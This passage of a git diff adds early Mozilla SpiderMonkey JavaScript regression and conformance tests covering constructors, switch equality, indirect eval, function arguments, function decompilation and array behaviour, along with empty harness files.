+o.foo = 'sil';
+
+new TestCase(
+ SECTION,
+ "\"foo\" in o",
+ true,
+ "foo" in o );
+
+test();
+
diff --git a/js/src/tests/js1_3/regress/new-001.js b/js/src/tests/js1_3/regress/new-001.js
new file mode 100644
index 000000000..9e7c5c28c
--- /dev/null
+++ b/js/src/tests/js1_3/regress/new-001.js
@@ -0,0 +1,89 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: new-001.js
+ Section:
+ Description:
+
+ http://scopus.mcom.com/bugsplat/show_bug.cgi?id=76103
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "new-001";
+var VERSION = "JS1_3";
+var TITLE = "new-001";
+var BUGNUMBER="31567";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+function Test_One (x) {
+ this.v = x+1;
+ return x*2
+ }
+
+function Test_Two( x, y ) {
+ this.v = x;
+ return y;
+}
+
+new TestCase(
+ SECTION,
+ "Test_One(18)",
+ 36,
+ Test_One(18) );
+
+new TestCase(
+ SECTION,
+ "new Test_One(18)",
+ "[object Object]",
+ new Test_One(18) +"" );
+
+new TestCase(
+ SECTION,
+ "new Test_One(18).v",
+ 19,
+ new Test_One(18).v );
+
+new TestCase(
+ SECTION,
+ "Test_Two(2,7)",
+ 7,
+ Test_Two(2,7) );
+
+new TestCase(
+ SECTION,
+ "new Test_Two(2,7)",
+ "[object Object]",
+ new Test_Two(2,7) +"" );
+
+new TestCase(
+ SECTION,
+ "new Test_Two(2,7).v",
+ 2,
+ new Test_Two(2,7).v );
+
+new TestCase(
+ SECTION,
+ "new (Function)(\"x\", \"return x+3\")(5,6)",
+ 8,
+ new (Function)("x","return x+3")(5,6) );
+
+new TestCase(
+ SECTION,
+ "new new Test_Two(String, 2).v(0123)",
+ "83",
+ new new Test_Two(String, 2).v(0123) +"");
+
+new TestCase(
+ SECTION,
+ "new new Test_Two(String, 2).v(0123).length",
+ 2,
+ new new Test_Two(String, 2).v(0123).length );
+
+test();
diff --git a/js/src/tests/js1_3/regress/shell.js b/js/src/tests/js1_3/regress/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_3/regress/shell.js
diff --git a/js/src/tests/js1_3/regress/switch-001.js b/js/src/tests/js1_3/regress/switch-001.js
new file mode 100644
index 000000000..ffd0623e5
--- /dev/null
+++ b/js/src/tests/js1_3/regress/switch-001.js
@@ -0,0 +1,50 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: switch-001.js
+ Section:
+ Description:
+
+ http://scopus.mcom.com/bugsplat/show_bug.cgi?id=315767
+
+ Verify that switches do not use strict equality in
+ versions of JavaScript < 1.4. It's now been decided that
+ we won't put in version switches, so all switches will
+ be ECMA.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "switch-001";
+var VERSION = "JS1_3";
+var TITLE = "switch-001";
+var BUGNUMBER="315767";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+result = "fail: did not enter switch";
+
+switch (true) {
+case 1:
+ result = "fail: version 130 should force strict equality";
+ break;
+case true:
+ result = "pass";
+ break;
+default:
+ result = "fail: evaluated default statement";
+}
+
+new TestCase(
+ SECTION,
+ "switch / case should use strict equality in version of JS < 1.4",
+ "pass",
+ result );
+
+test();
+
diff --git a/js/src/tests/js1_3/shell.js b/js/src/tests/js1_3/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_3/shell.js
diff --git a/js/src/tests/js1_4/Eval/browser.js b/js/src/tests/js1_4/Eval/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_4/Eval/browser.js
diff --git a/js/src/tests/js1_4/Eval/eval-001.js b/js/src/tests/js1_4/Eval/eval-001.js
new file mode 100644
index 000000000..3c4ef94f0
--- /dev/null
+++ b/js/src/tests/js1_4/Eval/eval-001.js
@@ -0,0 +1,57 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: eval-001.js
+ * Original Description: (SEE REVISED DESCRIPTION FURTHER BELOW)
+ *
+ * The global eval function may not be accessed indirectly and then called.
+ * This feature will continue to work in JavaScript 1.3 but will result in an
+ * error in JavaScript 1.4. This restriction is also in place for the With and
+ * Closure constructors.
+ *
+ * http://scopus.mcom.com/bugsplat/show_bug.cgi?id=324451
+ *
+ * Author: christine@netscape.com
+ * Date: 11 August 1998
+ *
+ *
+ * REVISION: 05 February 2001
+ * Author: pschwartau@netscape.com
+ *
+ * Indirect eval IS NOT ILLEGAL per ECMA3!!! See
+ *
+ * http://bugzilla.mozilla.org/show_bug.cgi?id=38512
+ *
+ * ------- Additional Comments From Brendan Eich 2001-01-30 17:12 -------
+ * ECMA-262 Edition 3 doesn't require implementations to throw EvalError,
+ * see the short, section-less Chapter 16. It does say an implementation that
+ * doesn't throw EvalError must allow assignment to eval and indirect calls
+ * of the evalnative method.
+ *
+ */
+var SECTION = "eval-001.js";
+var VERSION = "JS1_4";
+var TITLE = "Calling eval indirectly should NOT fail in version 140";
+var BUGNUMBER="38512";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var MY_EVAL = eval;
+var RESULT = "";
+var EXPECT = "abcdefg";
+
+MY_EVAL( "RESULT = EXPECT" );
+
+new TestCase(
+ SECTION,
+ "Call eval indirectly",
+ EXPECT,
+ RESULT );
+
+test();
+
diff --git a/js/src/tests/js1_4/Eval/eval-002.js b/js/src/tests/js1_4/Eval/eval-002.js
new file mode 100644
index 000000000..9f96f6e5b
--- /dev/null
+++ b/js/src/tests/js1_4/Eval/eval-002.js
@@ -0,0 +1,63 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: eval-002.js
+ * Description: (SEE REVISED DESCRIPTION FURTHER BELOW)
+ *
+ * The global eval function may not be accessed indirectly and then called.
+ * This feature will continue to work in JavaScript 1.3 but will result in an
+ * error in JavaScript 1.4. This restriction is also in place for the With and
+ * Closure constructors.
+ *
+ * http://scopus.mcom.com/bugsplat/show_bug.cgi?id=324451
+ *
+ * Author: christine@netscape.com
+ * Date: 11 August 1998
+ *
+ *
+ * REVISION: 05 February 2001
+ * Author: pschwartau@netscape.com
+ *
+ * Indirect eval IS NOT ILLEGAL per ECMA3!!! See
+ *
+ * http://bugzilla.mozilla.org/show_bug.cgi?id=38512
+ *
+ * ------- Additional Comments From Brendan Eich 2001-01-30 17:12 -------
+ * ECMA-262 Edition 3 doesn't require implementations to throw EvalError,
+ * see the short, section-less Chapter 16. It does say an implementation that
+ * doesn't throw EvalError must allow assignment to eval and indirect calls
+ * of the evalnative method.
+ *
+ */
+var SECTION = "eval-002.js";
+var VERSION = "JS1_4";
+var TITLE = "Calling eval indirectly should NOT fail in version 140";
+var BUGNUMBER="38512";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var MY_EVAL = eval;
+var RESULT = "";
+var EXPECT = 1 + "testString"
+
+ EvalTest();
+
+test();
+
+
+function EvalTest()
+{
+ MY_EVAL( "RESULT = EXPECT" );
+
+ new TestCase(
+ SECTION,
+ "Call eval indirectly",
+ EXPECT,
+ RESULT );
+}
+
diff --git a/js/src/tests/js1_4/Eval/eval-003.js b/js/src/tests/js1_4/Eval/eval-003.js
new file mode 100644
index 000000000..d7957d323
--- /dev/null
+++ b/js/src/tests/js1_4/Eval/eval-003.js
@@ -0,0 +1,67 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: eval-003.js
+ * Description: (SEE REVISED DESCRIPTION FURTHER BELOW)
+ *
+ * The global eval function may not be accessed indirectly and then called.
+ * This feature will continue to work in JavaScript 1.3 but will result in an
+ * error in JavaScript 1.4. This restriction is also in place for the With and
+ * Closure constructors.
+ *
+ * http://scopus.mcom.com/bugsplat/show_bug.cgi?id=324451
+ *
+ * Author: christine@netscape.com
+ * Date: 11 August 1998
+ *
+ *
+ * REVISION: 05 February 2001
+ * Author: pschwartau@netscape.com
+ *
+ * Indirect eval IS NOT ILLEGAL per ECMA3!!! See
+ *
+ * http://bugzilla.mozilla.org/show_bug.cgi?id=38512
+ *
+ * ------- Additional Comments From Brendan Eich 2001-01-30 17:12 -------
+ * ECMA-262 Edition 3 doesn't require implementations to throw EvalError,
+ * see the short, section-less Chapter 16. It does say an implementation that
+ * doesn't throw EvalError must allow assignment to eval and indirect calls
+ * of the evalnative method.
+ *
+ */
+var SECTION = "eval-003.js";
+var VERSION = "JS1_4";
+var TITLE = "Calling eval indirectly should NOT fail in version 140";
+var BUGNUMBER="38512";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var MY_EVAL = eval;
+var RESULT = "";
+var EXPECT= "";
+var h = function f(x,y){var g = function(z){return Math.exp(z);}; return g(x+y);};
+
+
+new EvalTest();
+
+test();
+
+function EvalTest()
+{
+ with( this ) {
+ MY_EVAL( "RESULT = h(-1, 1)" );
+ EXPECT = 1; //The base e to the power (-1 + 1), i.e. the power 0, equals 1 ....
+
+ new TestCase(
+ SECTION,
+ "Call eval indirectly",
+ EXPECT,
+ RESULT );
+ }
+}
+
diff --git a/js/src/tests/js1_4/Eval/regress-531682.js b/js/src/tests/js1_4/Eval/regress-531682.js
new file mode 100644
index 000000000..2969b9817
--- /dev/null
+++ b/js/src/tests/js1_4/Eval/regress-531682.js
@@ -0,0 +1,34 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 531682;
+var summary = 'Checking proper wrapping of scope in eval(source, scope)';
+var actual;
+var expect;
+
+//-----------------------------------------------------------------------------
+var x = 0;
+
+test();
+//-----------------------------------------------------------------------------
+
+function scope1() {
+ eval('var x = 1;');
+ return function() { return x; }
+}
+
+function test() {
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ // The scope chain in eval should be just scope1() and the global object.
+ actual = eval('x', scope1());
+ expect = 0;
+ reportCompare(expect, actual, summary);
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_4/Eval/shell.js b/js/src/tests/js1_4/Eval/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_4/Eval/shell.js
diff --git a/js/src/tests/js1_4/Functions/browser.js b/js/src/tests/js1_4/Functions/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_4/Functions/browser.js
diff --git a/js/src/tests/js1_4/Functions/function-001.js b/js/src/tests/js1_4/Functions/function-001.js
new file mode 100644
index 000000000..e00825e14
--- /dev/null
+++ b/js/src/tests/js1_4/Functions/function-001.js
@@ -0,0 +1,89 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: function-001.js
+ * Description:
+ *
+ * http://scopus.mcom.com/bugsplat/show_bug.cgi?id=324455
+ *
+ * Earlier versions of JavaScript supported access to the arguments property
+ * of the function object. This property held the arguments to the function.
+ * function f() {
+ * return f.arguments[0]; // deprecated
+ * }
+ * var x = f(3); // x will be 3
+ *
+ * This feature is not a part of the final ECMA standard. Instead, scripts
+ * should simply use just "arguments":
+ *
+ * function f() {
+ * return arguments[0]; // okay
+ * }
+ *
+ * var x = f(3); // x will be 3
+ *
+ * Again, this feature was motivated by performance concerns. Access to the
+ * arguments property is not threadsafe, which is of particular concern in
+ * server environments. Also, the compiler can generate better code for
+ * functions because it can tell when the arguments are being accessed only by
+ * name and avoid setting up the arguments object.
+ *
+ * Author: christine@netscape.com
+ * Date: 11 August 1998
+ */
+var SECTION = "function-001.js";
+var VERSION = "JS1_4";
+var TITLE = "Accessing the arguments property of a function object";
+var BUGNUMBER="324455";
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase(
+ SECTION,
+ "return function.arguments",
+ "P",
+ TestFunction_2("P", "A","S","S")[0] +"");
+
+
+new TestCase(
+ SECTION,
+ "return arguments",
+ "P",
+ TestFunction_1( "P", "A", "S", "S" )[0] +"");
+
+new TestCase(
+ SECTION,
+ "return arguments when function contains an arguments property",
+ "PASS",
+ TestFunction_3( "P", "A", "S", "S" ) +"");
+
+new TestCase(
+ SECTION,
+ "return function.arguments when function contains an arguments property",
+ "[object Arguments]",
+ TestFunction_4( "F", "A", "I", "L" ) +"");
+
+test();
+
+function TestFunction_1( a, b, c, d, e ) {
+ return arguments;
+}
+
+function TestFunction_2( a, b, c, d, e ) {
+ return TestFunction_2.arguments;
+}
+
+function TestFunction_3( a, b, c, d, e ) {
+ var arguments = "PASS";
+ return arguments;
+}
+
+function TestFunction_4( a, b, c, d, e ) {
+ var arguments = "FAIL";
+ return TestFunction_4.arguments;
+}
+
diff --git a/js/src/tests/js1_4/Functions/shell.js b/js/src/tests/js1_4/Functions/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_4/Functions/shell.js
diff --git a/js/src/tests/js1_4/README b/js/src/tests/js1_4/README
new file mode 100644
index 000000000..53a00cf68
--- /dev/null
+++ b/js/src/tests/js1_4/README
@@ -0,0 +1 @@
+JavaScript 1.4
diff --git a/js/src/tests/js1_4/Regress/browser.js b/js/src/tests/js1_4/Regress/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_4/Regress/browser.js
diff --git a/js/src/tests/js1_4/Regress/function-001.js b/js/src/tests/js1_4/Regress/function-001.js
new file mode 100644
index 000000000..43669e9c1
--- /dev/null
+++ b/js/src/tests/js1_4/Regress/function-001.js
@@ -0,0 +1,62 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: function-001.js
+ * Description:
+ *
+ * http://scopus.mcom.com/bugsplat/show_bug.cgi?id=325843
+ * js> function f(a){var a,b;}
+ *
+ * causes an an assert on a null 'sprop' in the 'Variables' function in
+ * jsparse.c This will crash non-debug build.
+ *
+ * Author: christine@netscape.com
+ * Date: 11 August 1998
+ */
+var SECTION = "function-001.js";
+var VERSION = "JS1_4";
+var TITLE = "Regression test case for 325843";
+var BUGNUMBER="3258435";
+startTest();
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+eval("function f1 (a){ var a,b; }");
+
+function f2( a ) { var a, b; };
+
+new TestCase(
+ SECTION,
+ "eval(\"function f1 (a){ var a,b; }\"); "+
+ "function f2( a ) { var a, b; }; typeof f1",
+ "function",
+ typeof f1 );
+
+// force a function decompilation
+
+new TestCase(
+ SECTION,
+ "typeof f1.toString()",
+ "string",
+ typeof f1.toString() );
+
+new TestCase(
+ SECTION,
+ "typeof f2",
+ "function",
+ typeof f2 );
+
+// force a function decompilation
+
+new TestCase(
+ SECTION,
+ "typeof f2.toString()",
+ "string",
+ typeof f2.toString() );
+
+test();
+
diff --git a/js/src/tests/js1_4/Regress/function-002.js b/js/src/tests/js1_4/Regress/function-002.js
new file mode 100644
index 000000000..c1596db7c
--- /dev/null
+++ b/js/src/tests/js1_4/Regress/function-002.js
@@ -0,0 +1,107 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: function-002.js
+ * Description:
+ *
+ * http://scopus.mcom.com/bugsplat/show_bug.cgi?id=330462
+ * js> function f(a){var a,b;}
+ *
+ * causes an an assert on a null 'sprop' in the 'Variables' function in
+ * jsparse.c This will crash non-debug build.
+ *
+ * Author: christine@netscape.com
+ * Date: 11 August 1998
+ * REVISED: 04 February 2001
+ * (changed the comma expressions from trivial to non-trivial)
+ * Author: pschwartau@netscape.com
+ *
+ * Brendan: "The test seemed to require something that ECMA does not
+ * guarantee, and that JS1.4 didn't either. For example, given
+ *
+ * dec2 = "function f2(){1,2}";
+ *
+ * the engine is free to decompile a function object compiled from this source,
+ * via Function.prototype.toString(), into some other string that compiles to
+ * an equivalent function. The engine now eliminates the useless comma expression
+ * 1,2, giving function f2(){}. This should be legal by the testsuite's lights."
+ *
+ */
+var SECTION = "function-002.js";
+var VERSION = "JS1_4";
+var TITLE = "Regression test case for 325843";
+var BUGNUMBER="330462";
+
+startTest();
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+dec1 = "function f1(x,y){++x, --y}";
+dec2 = "function f2(){var y; f1(1,2); y=new Date(); print(y.toString())}";
+
+eval(dec1);
+eval(dec2);
+
+new TestCase(
+ SECTION,
+ "typeof f1",
+ "function",
+ typeof f1 );
+
+
+// force a function decompilation
+new TestCase(
+ SECTION,
+ "f1.toString() == dec1",
+ true,
+ StripSpaces(f1.toString()) == StripSpaces(dec1));
+
+new TestCase(
+ SECTION,
+ "typeof f2",
+ "function",
+ typeof f2 );
+
+// force a function decompilation
+
+new TestCase(
+ SECTION,
+ "f2.toString() == dec2",
+ true,
+ StripSpaces(f2.toString().replace(/new Date\(\)/g, 'new Date')) ==
+ StripSpaces(dec2.replace(/new Date\(\)/g, 'new Date')));
+
+test();
+
+function StripSpaces( s ) {
+ var strippedString = "";
+ for ( var currentChar = 0; currentChar < s.length; currentChar++ ) {
+ if (!IsWhiteSpace(s.charAt(currentChar))) {
+ strippedString += s.charAt(currentChar);
+ }
+ }
+ return strippedString;
+}
+
+function IsWhiteSpace( string ) {
+ var cc = string.charCodeAt(0);
+
+ switch (cc) {
+ case (0x0009):
+ case (0x000B):
+ case (0x000C):
+ case (0x0020):
+ case (0x000A):
+ case (0x000D):
+ case ( 59 ): // let's strip out semicolons, too
+ return true;
+ break;
+ default:
+ return false;
+ }
+}
+
diff --git a/js/src/tests/js1_4/Regress/function-003.js b/js/src/tests/js1_4/Regress/function-003.js
new file mode 100644
index 000000000..157e926db
--- /dev/null
+++ b/js/src/tests/js1_4/Regress/function-003.js
@@ -0,0 +1,60 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: function-003.js
+ * Description:
+ *
+ * http://scopus.mcom.com/bugsplat/show_bug.cgi?id=104766
+ *
+ * Author: christine@netscape.com
+ * Date: 11 August 1998
+ */
+var SECTION = "toString-001.js";
+var VERSION = "JS1_4";
+var TITLE = "Regression test case for 104766";
+var BUGNUMBER="310514";
+
+startTest();
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase(
+ SECTION,
+ "StripSpaces(Array.prototype.concat.toString()).substring(0,17)",
+ "functionconcat(){",
+ StripSpaces(Array.prototype.concat.toString()).substring(0,17));
+
+test();
+
+function StripSpaces( s ) {
+ for ( var currentChar = 0, strippedString="";
+ currentChar < s.length; currentChar++ )
+ {
+ if (!IsWhiteSpace(s.charAt(currentChar))) {
+ strippedString += s.charAt(currentChar);
+ }
+ }
+ return strippedString;
+}
+
+function IsWhiteSpace( string ) {
+ var cc = string.charCodeAt(0);
+ switch (cc) {
+ case (0x0009):
+ case (0x000B):
+ case (0x000C):
+ case (0x0020):
+ case (0x000A):
+ case (0x000D):
+ case ( 59 ): // let's strip out semicolons, too
+ return true;
+ break;
+ default:
+ return false;
+ }
+}
+
diff --git a/js/src/tests/js1_4/Regress/function-004-n.js b/js/src/tests/js1_4/Regress/function-004-n.js
new file mode 100644
index 000000000..36d3dbfea
--- /dev/null
+++ b/js/src/tests/js1_4/Regress/function-004-n.js
@@ -0,0 +1,37 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: function-004.js
+ * Description:
+ *
+ * http://scopus.mcom.com/bugsplat/show_bug.cgi?id=310502
+ *
+ * Author: christine@netscape.com
+ * Date: 11 August 1998
+ */
+var SECTION = "funtion-004-n.js";
+var VERSION = "JS1_4";
+var TITLE = "Regression test case for 310502";
+var BUGNUMBER="310502";
+
+startTest();
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var o = {};
+o.call = Function.prototype.call;
+
+DESCRIPTION = "var o = {}; o.call = Function.prototype.call; o.call()";
+EXPECTED = "error";
+
+new TestCase(
+ SECTION,
+ "var o = {}; o.call = Function.prototype.call; o.call()",
+ "error",
+ o.call() );
+
+test();
diff --git a/js/src/tests/js1_4/Regress/regress-7224.js b/js/src/tests/js1_4/Regress/regress-7224.js
new file mode 100644
index 000000000..fe248f38d
--- /dev/null
+++ b/js/src/tests/js1_4/Regress/regress-7224.js
@@ -0,0 +1,57 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: regress-7224.js
+ * Reference: js1_2
+ * Description: Remove support for the arg
+ * Author: ** replace with your e-mail address **
+ */
+
+var SECTION = "regress"; // provide a document reference (ie, ECMA section)
+var VERSION = "JS1_4"; // Version of JavaScript or ECMA
+var TITLE = "Regression test for bugzilla #7224"; // Provide ECMA section title or a description
+var BUGNUMBER = "http://bugzilla.mozilla.org/show_bug.cgi?id=7224"; // Provide URL to bugsplat or bugzilla report
+
+startTest(); // leave this alone
+
+/*
+ * Calls to AddTestCase here. AddTestCase is a function that is defined
+ * in shell.js and takes three arguments:
+ * - a string representation of what is being tested
+ * - the expected result
+ * - the actual result
+ *
+ * For example, a test might look like this:
+ *
+ * var zip = /[\d]{5}$/;
+ *
+ * AddTestCase(
+ * "zip = /[\d]{5}$/; \"PO Box 12345 Boston, MA 02134\".match(zip)", // description of the test
+ * "02134", // expected result
+ * "PO Box 12345 Boston, MA 02134".match(zip) ); // actual result
+ *
+ */
+
+var f = new Function( "return arguments.caller" );
+var o = {};
+
+o.foo = f;
+o.foo("a", "b", "c");
+
+
+AddTestCase(
+ "var f = new Function( 'return arguments.caller' ); f()",
+ undefined,
+ f() );
+
+AddTestCase(
+ "var o = {}; o.foo = f; o.foo('a')",
+ undefined,
+ o.foo('a') );
+
+test(); // leave this alone. this executes the test cases and
+// displays results.
diff --git a/js/src/tests/js1_4/Regress/shell.js b/js/src/tests/js1_4/Regress/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_4/Regress/shell.js
diff --git a/js/src/tests/js1_4/Regress/toString-001-n.js b/js/src/tests/js1_4/Regress/toString-001-n.js
new file mode 100644
index 000000000..45abb1f3f
--- /dev/null
+++ b/js/src/tests/js1_4/Regress/toString-001-n.js
@@ -0,0 +1,37 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: toString-001-n.js
+ * Description:
+ *
+ * Function.prototype.toString is not generic.
+ *
+ * Author: christine@netscape.com
+ * Date: 11 August 1998
+ */
+var SECTION = "toString-001.js";
+var VERSION = "JS1_4";
+var TITLE = "Regression test case for 310514";
+var BUGNUMBER="310514";
+
+startTest();
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var o = {};
+o.toString = Function.prototype.toString;
+
+DESCRIPTION = "var o = {}; o.toString = Function.prototype.toString; o.toString();";
+EXPECTED = "error";
+
+new TestCase(
+ SECTION,
+ "var o = {}; o.toString = Function.prototype.toString; o.toString();",
+ "error",
+ o.toString() );
+
+test();
diff --git a/js/src/tests/js1_4/browser.js b/js/src/tests/js1_4/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_4/browser.js
diff --git a/js/src/tests/js1_4/shell.js b/js/src/tests/js1_4/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_4/shell.js
diff --git a/js/src/tests/js1_5/Array/11.1.4.js b/js/src/tests/js1_5/Array/11.1.4.js
new file mode 100644
index 000000000..7f39c9305
--- /dev/null
+++ b/js/src/tests/js1_5/Array/11.1.4.js
@@ -0,0 +1,68 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 260106;
+var summary = 'Elisons in Array literals should not be enumed';
+var actual = '';
+var expect = '';
+var status;
+var prop;
+var array;
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+status = summary + ' ' + inSection(1) + ' [,1] ';
+array = [,1];
+actual = '';
+expect = '1';
+for (prop in array)
+{
+ if (prop != 'length')
+ {
+ actual += prop;
+ }
+}
+reportCompare(expect, actual, status);
+
+status = summary + ' ' + inSection(2) + ' [,,1] ';
+array = [,,1];
+actual = '';
+expect = '2';
+for (prop in array)
+{
+ if (prop != 'length')
+ {
+ actual += prop;
+ }
+}
+reportCompare(expect, actual, status);
+
+status = summary + ' ' + inSection(3) + ' [1,] ';
+array = [1,];
+actual = '';
+expect = '0';
+for (prop in array)
+{
+ if (prop != 'length')
+ {
+ actual += prop;
+ }
+}
+reportCompare(expect, actual, status);
+
+status = summary + ' ' + inSection(4) + ' [1,,] ';
+array = [1,,];
+actual = '';
+expect = '0';
+for (prop in array)
+{
+ if (prop != 'length')
+ {
+ actual += prop;
+ }
+}
+reportCompare(expect, actual, status);
diff --git a/js/src/tests/js1_5/Array/array-001.js b/js/src/tests/js1_5/Array/array-001.js
new file mode 100644
index 000000000..26e1ae256
--- /dev/null
+++ b/js/src/tests/js1_5/Array/array-001.js
@@ -0,0 +1,88 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 24 September 2001
+ *
+ * SUMMARY: Truncating arrays that have decimal property names.
+ * From correspondence with Igor Bukanov <igor@icesoft.no>:
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = '(none)';
+var summary = 'Truncating arrays that have decimal property names';
+var BIG_INDEX = 4294967290;
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+var arr = Array(BIG_INDEX);
+arr[BIG_INDEX - 1] = 'a';
+arr[BIG_INDEX - 10000] = 'b';
+arr[BIG_INDEX - 0.5] = 'c'; // not an array index - but a valid property name
+// Truncate the array -
+arr.length = BIG_INDEX - 5000;
+
+
+// Enumerate its properties with for..in
+var s = '';
+for (var i in arr)
+{
+ s += arr[i];
+}
+
+
+/*
+ * We expect s == 'cb' or 'bc' (EcmaScript does not fix the order).
+ * Note 'c' is included: for..in includes ALL enumerable properties,
+ * not just array-index properties. The bug was: Rhino gave s == ''.
+ */
+status = inSection(1);
+actual = sortThis(s);
+expect = 'bc';
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function sortThis(str)
+{
+ var chars = str.split('');
+ chars = chars.sort();
+ return chars.join('');
+}
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Array/browser.js b/js/src/tests/js1_5/Array/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_5/Array/browser.js
diff --git a/js/src/tests/js1_5/Array/regress-101964.js b/js/src/tests/js1_5/Array/regress-101964.js
